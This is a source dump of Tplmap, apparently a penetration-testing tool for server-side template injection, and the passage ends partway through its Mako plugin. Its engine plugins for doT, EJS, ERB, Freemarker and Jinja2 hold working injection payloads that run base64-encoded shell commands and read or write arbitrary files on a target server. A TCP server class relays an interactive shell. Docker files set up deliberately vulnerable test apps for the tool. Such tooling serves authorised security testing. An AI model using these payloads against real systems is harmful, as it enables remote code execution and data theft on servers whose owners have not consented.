22 | 2. Install additional Python modules
23 | ```sh
24 | $ cd /path/to/install/jython
25 | $ ./bin/pip install PyYaml requests
26 | ```
27 | 3. Run your Burp Suite
28 | 4. Open Jython file chooser dialog
29 | [Extender] - [Options] - [Python Environment] - [Location of the Jython standalone JAR file]
30 | 5. Choose the file `/path/to/install/jython/jython.jar`
31 | 6. Load `burp_extender.py` as Python type burp extension
32 |
33 | ### Scanning
34 |
35 | Configure scanning option from 'Tplmap' tab, and do an active scan.
36 |
37 | ### Limitation
38 |
39 | Only the detection feature of Tplmap is available.
40 | Exploitation feature is not implemented, use Tplmap CLI.
41 |
42 | The `--injection-tag` option is also not available, because this extension follows Burp's Insertion Point setting.
43 |
44 | If you need the `--injection-tag` option, you can use [Scan manual insertion point](https://github.com/ClementNotin/burp-scan-manual-insertion-point) extension.
45 |
--------------------------------------------------------------------------------
/modules/tplmap/burp_extension/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SecHackLabs/webhackshl-termux/8dc6a824bf58794684e450d388c098f00e68dc0a/modules/tplmap/burp_extension/__init__.py
--------------------------------------------------------------------------------
/modules/tplmap/burp_extension/burp_extender.py:
--------------------------------------------------------------------------------
1 | from burp import IBurpExtender
2 | from config_tab import ConfigTab
3 | from scanner_check import ScannerCheck
4 |
5 | class BurpExtender( IBurpExtender ):
6 |
7 | def registerExtenderCallbacks( self, callbacks ):
8 | configTab = ConfigTab( callbacks )
9 | callbacks.setExtensionName( 'Tplmap' )
10 | callbacks.addSuiteTab( configTab )
11 | callbacks.registerScannerCheck( ScannerCheck( callbacks, configTab ) )
12 |
13 |
--------------------------------------------------------------------------------
/modules/tplmap/burp_extension/channel.py:
--------------------------------------------------------------------------------
1 | class Channel:
2 |
3 | def __init__( self, callbacks, configTab, baseRequestResponse, insertionPoint, payloadPosition ):
4 | self._callbacks = callbacks
5 | self._helpers = callbacks.getHelpers()
6 | self._configTab = configTab
7 | self._baseRequestResponse = baseRequestResponse
8 | self._insertionPoint = insertionPoint
9 | self._payloadPosition = payloadPosition
10 | self._request = self._helpers.analyzeRequest( baseRequestResponse )
11 |
12 | self.url = self._request.getUrl()
13 | self.args = {
14 | 'level': self._configTab.getLevel(),
15 | 'technique': self._configTab.getTechniques() }
16 | self.data = {}
17 | self.detect = False
18 | self.messages = []
19 |
20 | def req( self, injection ):
21 | payload = injection if self._payloadPosition == 'replace' else self._insertionPoint.getBaseValue() + injection
22 | checkRequest = self._insertionPoint.buildRequest( self._helpers.stringToBytes( payload ) )
23 | checkRequestResponse = self._callbacks.makeHttpRequest( self._baseRequestResponse.getHttpService(), checkRequest )
24 | self.messages.append( {
25 | 'injection': injection,
26 | 'requestResponse': checkRequestResponse
27 | } )
28 | return self._helpers.bytesToString( checkRequestResponse.getResponse() )
29 |
30 | def detected( self, technique, detail ):
31 | self.detect = True
32 | self.technique = technique
33 | self.detail = detail
34 | self.detect_offset = len( self.messages )
35 |
36 |
--------------------------------------------------------------------------------
/modules/tplmap/burp_extension/config_tab.py:
--------------------------------------------------------------------------------
1 | from burp import ITab
2 |
3 | from javax.swing import JPanel, GroupLayout, JLabel, JComboBox, JCheckBox
4 | from java.awt import Dimension
5 |
6 | from core.checks import plugins
7 |
8 | class ConfigTab( ITab, JPanel ):
9 |
10 | def __init__( self, callbacks ):
11 | self._callbacks = callbacks
12 | self._helpers = callbacks.getHelpers()
13 | self.__initLayout__()
14 |
15 | def __initLayout__( self ):
16 | self._levelComboBox = JComboBox()
17 | levelComboBoxSize = Dimension( 300, 30 )
18 | self._levelComboBox.setPreferredSize( levelComboBoxSize )
19 | self._levelComboBox.setMaximumSize( levelComboBoxSize )
20 | for level in range( 0, 6 ):
21 | self._levelComboBox.addItem( str( level ) )
22 |
23 | self._techRenderedCheckBox = JCheckBox( 'Rendered', True )
24 | self._techTimebasedCheckBox = JCheckBox( 'Time-based', True )
25 |
26 | self._plugin_groups = {}
27 | for plugin in plugins:
28 | parent = plugin.__base__.__name__
29 | if not self._plugin_groups.has_key( parent ):
30 | self._plugin_groups[ parent ] = []
31 | self._plugin_groups[ parent ].append( plugin )
32 | self._pluginCheckBoxes = []
33 | for pluginGroup in self._plugin_groups.values():
34 | for plugin in pluginGroup:
35 | self._pluginCheckBoxes.append( PluginCheckBox( plugin ) )
36 |
37 | self._positionReplaceCheckBox = JCheckBox( 'Replace', True )
38 | self._positionAppendCheckBox = JCheckBox( 'Append', False )
39 |
40 | displayItems = (
41 | {
42 | 'label': 'Level',
43 | 'components': ( self._levelComboBox, ),
44 | 'description': 'Level of code context escape to perform (1-5, Default:0).'
45 | },
46 | {
47 | 'label': 'Techniques',
48 | 'components': ( self._techRenderedCheckBox, self._techTimebasedCheckBox, ),
49 | 'description': 'Techniques R(endered) T(ime-based blind). Default: RT.'
50 | },
51 | {
52 | 'label': 'Template Engines',
53 | 'components': self._pluginCheckBoxes,
54 | 'description': 'Force back-end template engine to this value(s).'
55 | },
56 | {
57 | 'label': 'Payload position',
58 | 'components': ( self._positionReplaceCheckBox, self._positionAppendCheckBox, ),
59 | 'description': 'Scan payload position. This feature only appears in BurpExtension.'
60 | }
61 | )
62 |
63 | layout = GroupLayout( self )
64 | self.setLayout( layout )
65 | layout.setAutoCreateGaps( True )
66 | layout.setAutoCreateContainerGaps( True )
67 |
68 | labelWidth = 200
69 | hgroup = layout.createParallelGroup( GroupLayout.Alignment.LEADING )
70 | vgroup = layout.createSequentialGroup()
71 | for displayItem in displayItems:
72 | label = JLabel( displayItem.get( 'label' ) )
73 | label.setToolTipText( displayItem.get( 'description' ) )
74 | _hgroup = layout.createSequentialGroup().addComponent( label, labelWidth, labelWidth, labelWidth )
75 | _vgroup = layout.createParallelGroup( GroupLayout.Alignment.BASELINE ).addComponent( label )
76 | for component in displayItem.get( 'components' ):
77 | _hgroup.addComponent( component )
78 | _vgroup.addComponent( component )
79 | hgroup.addGroup( _hgroup )
80 | vgroup.addGroup( _vgroup )
81 |
82 | layout.setHorizontalGroup( hgroup )
83 | layout.setVerticalGroup( vgroup )
84 |
85 | def getTabCaption( self ):
86 | return 'Tplmap'
87 |
88 | def getUiComponent( self ):
89 | return self
90 |
91 | def getLevel( self ):
92 | return self._levelComboBox.getSelectedIndex()
93 |
94 | def getTechniques( self ):
95 | return '%s%s' % ( 'R' if self._techRenderedCheckBox.isSelected() else '', 'T' if self._techTimebasedCheckBox.isSelected() else '' )
96 |
97 | def getEngines( self ):
98 | return [ checkbox.getPlugin() for checkbox in self._pluginCheckBoxes if checkbox.isSelected() ]
99 |
100 | def getPayloadPosition( self ):
101 | return { 'replace': self._positionReplaceCheckBox.isSelected(), 'append': self._positionAppendCheckBox.isSelected() }
102 |
103 | class PluginCheckBox( JCheckBox ):
104 |
105 | def __init__( self, plugin ):
106 | JCheckBox.__init__( self, plugin.__name__, True )
107 | self._plugin = plugin
108 | parent = plugin.__base__.__name__
109 | tooltip = parent if( parent != 'Plugin' ) else 'eval'
110 | self.setToolTipText( tooltip )
111 |
112 | def getPlugin( self ):
113 | return self._plugin
114 |
--------------------------------------------------------------------------------
/modules/tplmap/burp_extension/scanner_check.py:
--------------------------------------------------------------------------------
1 | from burp import IScannerCheck
2 |
3 | from channel import Channel
4 | from scan_issue import ScanIssue
5 |
6 | class ScannerCheck( IScannerCheck ):
7 |
8 | def __init__( self, callbacks, configTab ):
9 | self._callbacks = callbacks
10 | self._helpers = callbacks.getHelpers()
11 | self._configTab = configTab
12 |
13 | def doPassiveScan( self, baseRequestResponse ):
14 | return None
15 |
16 | def doActiveScan( self, baseRequestResponse, insertionPoint ):
17 | for position in [ position for ( position, selected ) in self._configTab.getPayloadPosition().items() if selected ]:
18 | channel = Channel( self._callbacks, self._configTab, baseRequestResponse, insertionPoint, position )
19 | for engineClass in self._configTab.getEngines():
20 | engine = engineClass( channel )
21 | engine.detect()
22 | if channel.detect:
23 | return [ ScanIssue( self._callbacks, baseRequestResponse, insertionPoint, channel ) ]
24 | return None
25 |
26 | def consolidateDuplicateIssues( self, existingIssue, newIssue ):
27 | return 0
28 |
29 |
--------------------------------------------------------------------------------
/modules/tplmap/config.yml:
--------------------------------------------------------------------------------
1 | # Tplmap home folder
2 | base_path: ~/.tplmap/
3 |
4 | # Log HTTP responses under tplmap.log
5 | log_response: False
6 |
7 | # The number of seconds to delay the response when testing for
8 | # time-based blind injection. This will be added to the average
9 | # response time for render values.
10 | time_based_blind_delay: 4
--------------------------------------------------------------------------------
/modules/tplmap/core/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SecHackLabs/webhackshl-termux/8dc6a824bf58794684e450d388c098f00e68dc0a/modules/tplmap/core/__init__.py
--------------------------------------------------------------------------------
/modules/tplmap/core/clis.py:
--------------------------------------------------------------------------------
1 | import cmd
2 |
3 | class Shell(cmd.Cmd):
4 | """Interactive shell."""
5 |
6 | def __init__(self, inject_function, prompt):
7 | cmd.Cmd.__init__(self)
8 |
9 | self.inject_function = inject_function
10 | self.prompt = prompt
11 |
12 | def default(self, line):
13 | print self.inject_function(line)
14 |
15 | def emptyline(self):
16 | pass
17 |
18 | class MultilineShell(cmd.Cmd):
19 | """Interactive multiline shell."""
20 |
21 | def __init__(self, inject_function, prompt):
22 | cmd.Cmd.__init__(self)
23 |
24 | self.inject_function = inject_function
25 | self.fixed_prompt = prompt
26 |
27 | self.lines = []
28 |
29 | self._format_prompt()
30 |
31 | def _format_prompt(self):
32 | self.prompt = '[%i] %s' % (
33 | len(self.lines),
34 | self.fixed_prompt
35 | )
36 |
37 | def postcmd(self, stop, line):
38 | self._format_prompt()
39 | return stop
40 |
41 | def default(self, line):
42 | self.lines.append(line)
43 |
44 | def emptyline(self):
45 |
46 | # Do not save empty line if there is nothing to send
47 | if not self.lines:
48 | return
49 |
50 | def do_EOF(self, line):
51 | # Run the inject function and reset the state
52 |
53 | # Send the current line as well
54 | if line:
55 | self.lines.append(line)
56 |
57 | print
58 | print self.inject_function('\n'.join(self.lines))
59 | self.lines = []
60 |
61 |
62 |
--------------------------------------------------------------------------------
/modules/tplmap/core/tcpserver.py:
--------------------------------------------------------------------------------
1 | import socket
2 | from utils.loggers import log
3 | import sys
4 | import select
5 |
6 | class TcpServer:
7 |
8 | def __init__(self, port, timeout):
9 | self.connect = False
10 | self.hostname = '0.0.0.0'
11 | self.port = port
12 |
13 | self.timeout = timeout
14 | self.socket_state = False
15 |
16 | self.socket = None
17 |
18 | self.connect_socket()
19 |
20 | if not self.socket: return
21 |
22 | self.forward_data()
23 |
24 | def connect_socket(self):
25 | if(self.connect):
26 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
27 | self.socket.connect((self.hostname, self.port))
28 |
29 | else:
30 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
31 | server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
32 | try:
33 | server.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1)
34 | except socket.error:
35 | #log.debug("Warning: unable to set TCP_NODELAY...")
36 | pass
37 |
38 | try:
39 | server.bind(('0.0.0.0', self.port))
40 | except socket.error as e:
41 | log.error("Port bind on 0.0.0.0:%s has failed: %s" % (self.port, str(e)))
42 | return
43 |
44 | server.listen(1)
45 |
46 | server.settimeout(self.timeout)
47 |
48 | try:
49 | self.socket, address = server.accept()
50 | except socket.timeout as e:
51 | server.close()
52 | raise
53 |
54 |
55 | def forward_data(self):
56 |
57 | log.info("Incoming connection accepted")
58 |
59 | self.socket.setblocking(0)
60 |
61 | while(1):
62 | read_ready, write_ready, in_error = select.select(
63 | [self.socket, sys.stdin], [], [self.socket, sys.stdin])
64 |
65 | try:
66 | buffer = self.socket.recv(100)
67 | while(buffer != ''):
68 |
69 | self.socket_state = True
70 |
71 | sys.stdout.write(buffer)
72 | sys.stdout.flush()
73 | buffer = self.socket.recv(100)
74 | if(buffer == ''):
75 | return
76 | except socket.error:
77 | pass
78 | while(1):
79 | r, w, e = select.select([sys.stdin], [], [], 0)
80 | if(len(r) == 0):
81 | break
82 | c = sys.stdin.read(1)
83 | if(c == ''):
84 | return
85 | if(self.socket.sendall(c) != None):
86 | return
87 |
--------------------------------------------------------------------------------
/modules/tplmap/docker-envs/Dockerfile.java:
--------------------------------------------------------------------------------
1 | FROM gradle:4.10.2-jdk8
2 |
3 | USER root
4 |
5 | RUN apt-get update && apt-get install --upgrade dnsutils python-pip -y
6 | RUN pip install requests PyYAML
7 |
8 | COPY tests/env_java_tests/spark-app/ /apps/tests/env_java_tests/spark-app/
9 | WORKDIR /apps/tests/
10 |
11 | # install dependencies
12 | RUN cd env_java_tests/spark-app/ && sed -ie 's/id "com\.github\.johnrengelman\.shadow".*//' build.gradle && \
13 | gradle classes
14 |
15 | COPY . /apps/
16 |
17 | EXPOSE 15003
18 |
19 | CMD cd env_java_tests/spark-app/ && gradle run
20 |
--------------------------------------------------------------------------------
/modules/tplmap/docker-envs/Dockerfile.node:
--------------------------------------------------------------------------------
1 | FROM node:10.12.0
2 |
3 | RUN apt-get update && apt-get install --upgrade dnsutils python-pip libpython-dev -y
4 | RUN pip install requests PyYAML
5 |
6 | COPY tests/env_node_tests/ /apps/tests/env_node_tests/
7 |
8 | RUN cd /apps/tests/env_node_tests/ && npm install randomstring connect pug nunjucks dustjs-linkedin@2.6 dustjs-helpers@1.5.0 marko dot ejs
9 |
10 | EXPOSE 15004
11 |
12 | COPY . /apps/
13 | WORKDIR /apps/tests/
14 |
15 | CMD cd /apps/tests/env_node_tests/ && node connect-app.js
16 |
--------------------------------------------------------------------------------
/modules/tplmap/docker-envs/Dockerfile.php:
--------------------------------------------------------------------------------
1 | FROM php:7.2.10-apache
2 |
3 | RUN apt-get update && apt-get install --upgrade dnsutils python-pip -y
4 | RUN pip install requests PyYAML
5 |
6 | RUN sed -i '0,/Listen [0-9]*/s//Listen 15002/' /etc/apache2/ports.conf
7 |
8 | RUN mkdir /var/www/html/lib/ && cd /var/www/html/lib && \
9 | curl -sL 'https://github.com/smarty-php/smarty/archive/v3.1.32.tar.gz' | tar xzf - && \
10 | curl -sL 'https://github.com/twigphp/Twig/archive/v1.20.0.tar.gz' | tar xzf - && \
11 | curl -sL 'https://github.com/twigphp/Twig/archive/v1.19.0.tar.gz' | tar xzf -
12 |
13 | COPY . /apps/
14 | COPY tests/env_php_tests/* /var/www/html/
15 |
16 | WORKDIR /apps/tests/
17 |
--------------------------------------------------------------------------------
/modules/tplmap/docker-envs/Dockerfile.python2:
--------------------------------------------------------------------------------
1 | FROM python:2.7.15
2 |
3 | RUN pip install mako jinja2 flask tornado PyYAML requests
4 | RUN apt-get update && apt-get install dnsutils -y
5 |
6 | COPY . /apps/
7 | WORKDIR /apps/tests/
8 |
9 | RUN sed -i 's/127\.0\.0\.1/0.0.0.0/' env_py_tests/webserver.py
10 |
11 | EXPOSE 15001
12 |
13 | CMD python env_py_tests/webserver.py
14 |
--------------------------------------------------------------------------------
/modules/tplmap/docker-envs/Dockerfile.python3:
--------------------------------------------------------------------------------
1 | FROM python:2.7.15
2 |
3 | RUN apt-get update && apt-get install dnsutils python3-pip -y
4 | RUN pip3 install mako jinja2 flask tornado
5 | RUN pip install PyYAML requests
6 |
7 | COPY . /apps/
8 | WORKDIR /apps/tests/
9 |
10 | RUN sed -i 's/127\.0\.0\.1/0.0.0.0/' env_py_tests/webserver.py
11 |
12 | EXPOSE 15001
13 |
14 | CMD python3 env_py_tests/webserver.py
15 |
--------------------------------------------------------------------------------
/modules/tplmap/docker-envs/Dockerfile.ruby:
--------------------------------------------------------------------------------
1 | FROM ruby:2.5.1
2 |
3 | RUN gem install slim tilt cuba rack
4 | RUN apt-get update && apt-get install --upgrade dnsutils python-pip -y
5 | RUN pip install requests PyYAML
6 |
7 | COPY . /apps/
8 | WORKDIR /apps/tests/
9 |
10 | EXPOSE 15005
11 |
12 | CMD cd env_ruby_tests && rackup --host 0.0.0.0 --port 15005
13 |
--------------------------------------------------------------------------------
/modules/tplmap/docker-envs/README.md:
--------------------------------------------------------------------------------
1 | # Running vulnerable test environment in Docker
2 |
3 | To setup vulnerable environments for your test, you can use tplmap's test environment with Docker.
4 |
5 | The following command starts all test environments:
6 |
7 | ```sh
8 | $ docker-compose up
9 | ```
10 |
11 | Starts specified test environments:
12 |
13 | ```sh
14 | $ docker-compose up tplmap_test_python tplmap_test_php
15 | ```
16 |
17 |
--------------------------------------------------------------------------------
/modules/tplmap/docker-envs/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '2'
2 |
3 | services:
4 | tplmap_test_python:
5 | build:
6 | context: ../
7 | dockerfile: docker-envs/Dockerfile.python2
8 | restart: always
9 | ports:
10 | - "15001:15001"
11 | tplmap_test_python3:
12 | build:
13 | context: ../
14 | dockerfile: docker-envs/Dockerfile.python3
15 | restart: always
16 | ports:
17 | - "15006:15001"
18 | tplmap_test_php:
19 | build:
20 | context: ../
21 | dockerfile: docker-envs/Dockerfile.php
22 | restart: always
23 | ports:
24 | - "15002:15002"
25 | tplmap_test_java:
26 | build:
27 | context: ../
28 | dockerfile: docker-envs/Dockerfile.java
29 | restart: always
30 | ports:
31 | - "15003:15003"
32 | tplmap_test_node:
33 | build:
34 | context: ../
35 | dockerfile: docker-envs/Dockerfile.node
36 | restart: always
37 | ports:
38 | - "15004:15004"
39 | tplmap_test_ruby:
40 | build:
41 | context: ../
42 | dockerfile: docker-envs/Dockerfile.ruby
43 | restart: always
44 | ports:
45 | - "15005:15005"
46 |
--------------------------------------------------------------------------------
/modules/tplmap/plugins/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SecHackLabs/webhackshl-termux/8dc6a824bf58794684e450d388c098f00e68dc0a/modules/tplmap/plugins/__init__.py
--------------------------------------------------------------------------------
/modules/tplmap/plugins/engines/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SecHackLabs/webhackshl-termux/8dc6a824bf58794684e450d388c098f00e68dc0a/modules/tplmap/plugins/engines/__init__.py
--------------------------------------------------------------------------------
/modules/tplmap/plugins/engines/dot.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote
2 | from plugins.languages import javascript
3 | from utils.loggers import log
4 | from utils import rand
5 | import base64
6 | import re
7 |
8 | class Dot(javascript.Javascript):
9 |
10 | def init(self):
11 |
12 | self.update_actions({
13 | 'render' : {
14 | 'render': '{{=%(code)s}}',
15 | 'header': '{{=%(header)s}}',
16 | 'trailer': '{{=%(trailer)s}}'
17 | },
18 | 'write' : {
19 | 'call' : 'inject',
20 | 'write' : """{{=global.process.mainModule.require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary')}}""",
21 | 'truncate' : """{{=global.process.mainModule.require('fs').writeFileSync('%(path)s', '')}}"""
22 | },
23 | 'read' : {
24 | 'call': 'evaluate',
25 | 'read' : """global.process.mainModule.require('fs').readFileSync('%(path)s').toString('base64');"""
26 | },
27 | 'md5' : {
28 | 'call': 'evaluate',
29 | 'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('%(path)s')).digest("hex");"""
30 | },
31 | 'evaluate' : {
32 | 'test_os': """global.process.mainModule.require('os').platform()""",
33 | },
34 | 'execute' : {
35 | 'call': 'evaluate',
36 | 'execute': """global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString());"""
37 | },
38 | 'execute_blind' : {
39 | # The bogus prefix is to avoid false detection of Javascript instead of doT
40 | 'call': 'inject',
41 | 'execute_blind': """{{=''}}{{global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i');}}"""
42 | },
43 | })
44 |
45 | self.set_contexts([
46 |
47 | # Text context, no closures
48 | { 'level': 0 },
49 |
50 | { 'level': 1, 'prefix': '%(closure)s;}}', 'suffix' : '{{1;', 'closures' : javascript.ctx_closures },
51 |
52 | ])
53 |
54 |
--------------------------------------------------------------------------------
/modules/tplmap/plugins/engines/ejs.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote
2 | from plugins.languages import javascript
3 | from utils.loggers import log
4 | from utils import rand
5 | import base64
6 | import re
7 |
8 | class Ejs(javascript.Javascript):
9 |
10 | def init(self):
11 |
12 | self.update_actions({
13 | 'render' : {
14 | 'header': """<%%- '%(header)s'+""",
15 | 'trailer': """+'%(trailer)s' %%>""",
16 | },
17 | 'write' : {
18 | 'write' : """<%%global.process.mainModule.require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary')%%>""",
19 | 'truncate' : """<%%global.process.mainModule.require('fs').writeFileSync('%(path)s', '')%%>"""
20 | },
21 | 'read' : {
22 | 'read' : """global.process.mainModule.require('fs').readFileSync('%(path)s').toString('base64')"""
23 | },
24 | 'md5' : {
25 | 'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('%(path)s')).digest("hex")"""
26 | },
27 | 'evaluate' : {
28 | 'test_os': """global.process.mainModule.require('os').platform()"""
29 | },
30 | 'execute_blind' : {
31 | 'execute_blind': """<%%global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i')%%>"""
32 | },
33 | 'execute' : {
34 | 'execute': """global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString())"""
35 | },
36 | })
37 |
38 | self.set_contexts([
39 |
40 | # Text context, no closures
41 | { 'level': 0 },
42 |
43 | {
44 | 'level': 1,
45 | 'prefix': '%(closure)s%%>', # Terminates EJS tag
46 | 'suffix' : '<%%#', # EJS comment out
47 | 'closures' : javascript.ctx_closures
48 | },
49 |
50 | {
51 | 'level': 2,
52 | 'prefix': '%(closure)s%%>', # Terminates EJS tag
53 | 'suffix' : '<%%#', # EJS comment out
54 | 'closures' : { 1: [ "'", ')' ], 2: [ '"', ')' ] } # Close function with quote
55 | },
56 |
57 | {
58 | 'level': 3,
59 | 'prefix': '*/%%>', # Terminates block comments
60 | 'suffix' : '<%%#' # EJS comment out
61 | },
62 |
63 | ])
64 |
--------------------------------------------------------------------------------
/modules/tplmap/plugins/engines/erb.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote
2 | from plugins.languages import ruby
3 | from utils.loggers import log
4 | from utils import rand
5 | import base64
6 | import re
7 |
8 | class Erb(ruby.Ruby):
9 |
10 | def init(self):
11 |
12 | self.update_actions({
13 | 'render' : {
14 | 'render': '"#{%(code)s}"',
15 | 'header': """<%%= '%(header)s'+""",
16 | 'trailer': """+'%(trailer)s' %%>""",
17 | },
18 | 'write' : {
19 | 'call' : 'inject',
20 | 'write': """<%%= require'base64';File.open('%(path)s', 'ab+') {|f| f.write(Base64.urlsafe_decode64('%(chunk_b64)s')) } %%>""",
21 | 'truncate' : """<%%= File.truncate('%(path)s', 0) %%>"""
22 | },
23 | 'evaluate_blind' : {
24 | 'call': 'inject',
25 | 'evaluate_blind': """<%%= require'base64';eval(Base64.urlsafe_decode64('%(code_b64)s'))&&sleep(%(delay)i) %%>"""
26 | },
27 | 'execute_blind' : {
28 | 'call': 'inject',
29 | 'execute_blind': """<%%= require'base64';%%x(#{Base64.urlsafe_decode64('%(code_b64)s')+' && sleep %(delay)i'}) %%>"""
30 | },
31 | })
32 |
33 | self.set_contexts([
34 |
35 | # Text context, no closures
36 | { 'level': 0 },
37 |
38 | # TODO: add contexts
39 | ])
40 |
--------------------------------------------------------------------------------
/modules/tplmap/plugins/engines/freemarker.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote, chunkit, md5
2 | from utils.loggers import log
3 | from utils import rand
4 | from plugins.languages import java
5 | import re
6 |
7 | class Freemarker(java.Java):
8 |
9 | def init(self):
10 |
11 | self.update_actions({
12 | 'render' : {
13 | 'render': '%(code)s',
14 | 'header': '${%(header)s?c}',
15 | 'trailer': '${%(trailer)s?c}',
16 | 'test_render': """${%(r1)s}<#--%(comment)s-->${%(r2)s}""" % {
17 | 'r1' : rand.randints[0],
18 | 'comment' : rand.randints[1],
19 | 'r2' : rand.randints[2]
20 | },
21 | 'test_render_expected': '%(r1)s%(r2)s' % {
22 | 'r1' : rand.randints[0],
23 | 'r2' : rand.randints[2]
24 | }
25 | },
26 | 'write' : {
27 | 'call' : 'inject',
28 | 'write' : """<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {tr,_-,/+}<<<%(chunk_b64)s|{base64,--decode}>>%(path)s") }""",
29 | 'truncate' : """<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {echo,-n,}>%(path)s") }""",
30 | },
31 | # Not using execute here since it's rendered and requires set headers and trailers
32 | 'execute_blind' : {
33 | 'call': 'inject',
34 | 'execute_blind': """<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}&&{sleep,%(delay)s}") }"""
35 | },
36 | 'execute' : {
37 | 'call': 'render',
38 | 'execute': """<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}") }"""
39 | }
40 |
41 | })
42 |
43 |
44 | self.set_contexts([
45 |
46 |
47 | # Text context, no closures
48 | { 'level': 0 },
49 |
50 | { 'level': 1, 'prefix': '%(closure)s}', 'suffix' : '', 'closures' : java.ctx_closures },
51 |
52 | # This handles <#assign s = %s> and <#if 1 == %s> and <#if %s == 1>
53 | { 'level': 2, 'prefix': '%(closure)s>', 'suffix' : '', 'closures' : java.ctx_closures },
54 | { 'level': 5, 'prefix': '-->', 'suffix' : '<#--' },
55 | { 'level': 5, 'prefix': '%(closure)s as a>#list><#list [1] as a>', 'suffix' : '', 'closures' : java.ctx_closures },
56 | ])
57 |
58 |
--------------------------------------------------------------------------------
/modules/tplmap/plugins/engines/jinja2.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote
2 | from plugins.languages import python
3 | from utils.loggers import log
4 | from utils import rand
5 | import base64
6 | import re
7 |
8 | class Jinja2(python.Python):
9 |
10 | def init(self):
11 |
12 | self.update_actions({
13 | 'render' : {
14 | 'render': '{{%(code)s}}',
15 | 'header': '{{%(header)s}}',
16 | 'trailer': '{{%(trailer)s}}',
17 | 'test_render': '(%(n1)s,%(n2)s*%(n3)s)' % {
18 | 'n1' : rand.randints[0],
19 | 'n2' : rand.randints[1],
20 | 'n3' : rand.randints[2]
21 | },
22 | 'test_render_expected': '%(res)s' % {
23 | 'res' : (rand.randints[0],rand.randints[1]*rand.randints[2])
24 | }
25 | },
26 | 'evaluate' : {
27 | 'call': 'render',
28 | 'evaluate': """''}}{%% set d = "eval(__import__('base64').urlsafe_b64decode('%(code_b64)s'))" %%}{%% for c in [].__class__.__base__.__subclasses__() %%} {%% if c.__name__ == 'catch_warnings' %%}
29 | {%% for b in c.__init__.__globals__.values() %%} {%% if b.__class__ == {}.__class__ %%}
30 | {%% if 'eval' in b.keys() %%}
31 | {{ b['eval'](d) }}
32 | {%% endif %%} {%% endif %%} {%% endfor %%}
33 | {%% endif %%} {%% endfor %%}{{''"""
34 | },
35 | 'execute_blind' : {
36 | 'call': 'inject',
37 | 'execute_blind': """{%% set d = "__import__('os').popen(__import__('base64').urlsafe_b64decode('%(code_b64)s').decode() + ' && sleep %(delay)i').read()" %%}{%% for c in [].__class__.__base__.__subclasses__() %%} {%% if c.__name__ == 'catch_warnings' %%}
38 | {%% for b in c.__init__.__globals__.values() %%} {%% if b.__class__ == {}.__class__ %%}
39 | {%% if 'eval' in b.keys() %%}
40 | {{ b['eval'](d) }}
41 | {%% endif %%} {%% endif %%} {%% endfor %%}
42 | {%% endif %%} {%% endfor %%}"""
43 | },
44 | })
45 |
46 | self.set_contexts([
47 |
48 | # Text context, no closures
49 | { 'level': 0 },
50 |
51 | # This covers {{%s}}
52 | { 'level': 1, 'prefix': '%(closure)s}}', 'suffix' : '', 'closures' : python.ctx_closures },
53 |
54 | # This covers {% %s %}
55 | { 'level': 1, 'prefix': '%(closure)s%%}', 'suffix' : '', 'closures' : python.ctx_closures },
56 |
57 | # If and for blocks
58 | # # if %s:\n# endif
59 | # # for a in %s:\n# endfor
60 | { 'level': 5, 'prefix': '%(closure)s\n', 'suffix' : '\n', 'closures' : python.ctx_closures },
61 |
62 | # Comment blocks
63 | { 'level': 5, 'prefix' : '#}', 'suffix' : '{#' },
64 |
65 | ])
66 |
--------------------------------------------------------------------------------
/modules/tplmap/plugins/engines/mako.py:
--------------------------------------------------------------------------------
1 | from plugins.languages import python
2 | from utils.loggers import log
3 | from utils import rand
4 | import re
5 |
6 | class Mako(python.Python):
7 |
8 | def init(self):
9 |
10 | self.update_actions({
11 | 'render' : {
12 | 'render': '${%(code)s}',
13 | 'header': '${%(header)s}',
14 | 'trailer': '${%(trailer)s}'
15 | },
16 | })
17 |
18 | self.set_contexts([
19 |
20 | # Text context, no closures
21 | { 'level': 0 },
22 |
23 | # Normal reflecting tag ${}
24 | { 'level': 1, 'prefix': '%(closure)s}', 'suffix' : '', 'closures' : python.ctx_closures },
25 |
26 | # Code blocks
27 | # This covers <% %s %>, <%! %s %>, <% %s=1 %>
28 | { 'level': 1, 'prefix': '%(closure)s%%>', 'suffix' : '<%%#', 'closures' : python.ctx_closures },
29 |
30 | # If and for blocks
31 | # % if %s:\n% endif
32 | # % for a in %s:\n% endfor
33 | { 'level': 5, 'prefix': '%(closure)s#\n', 'suffix' : '\n', 'closures' : python.ctx_closures },
34 |
35 | # Mako blocks
36 | { 'level': 5, 'prefix' : '%%doc>', 'suffix' : '<%%doc>' },
37 | { 'level': 5, 'prefix' : '%%def>', 'suffix' : '<%%def name="t(x)">', 'closures' : python.ctx_closures },
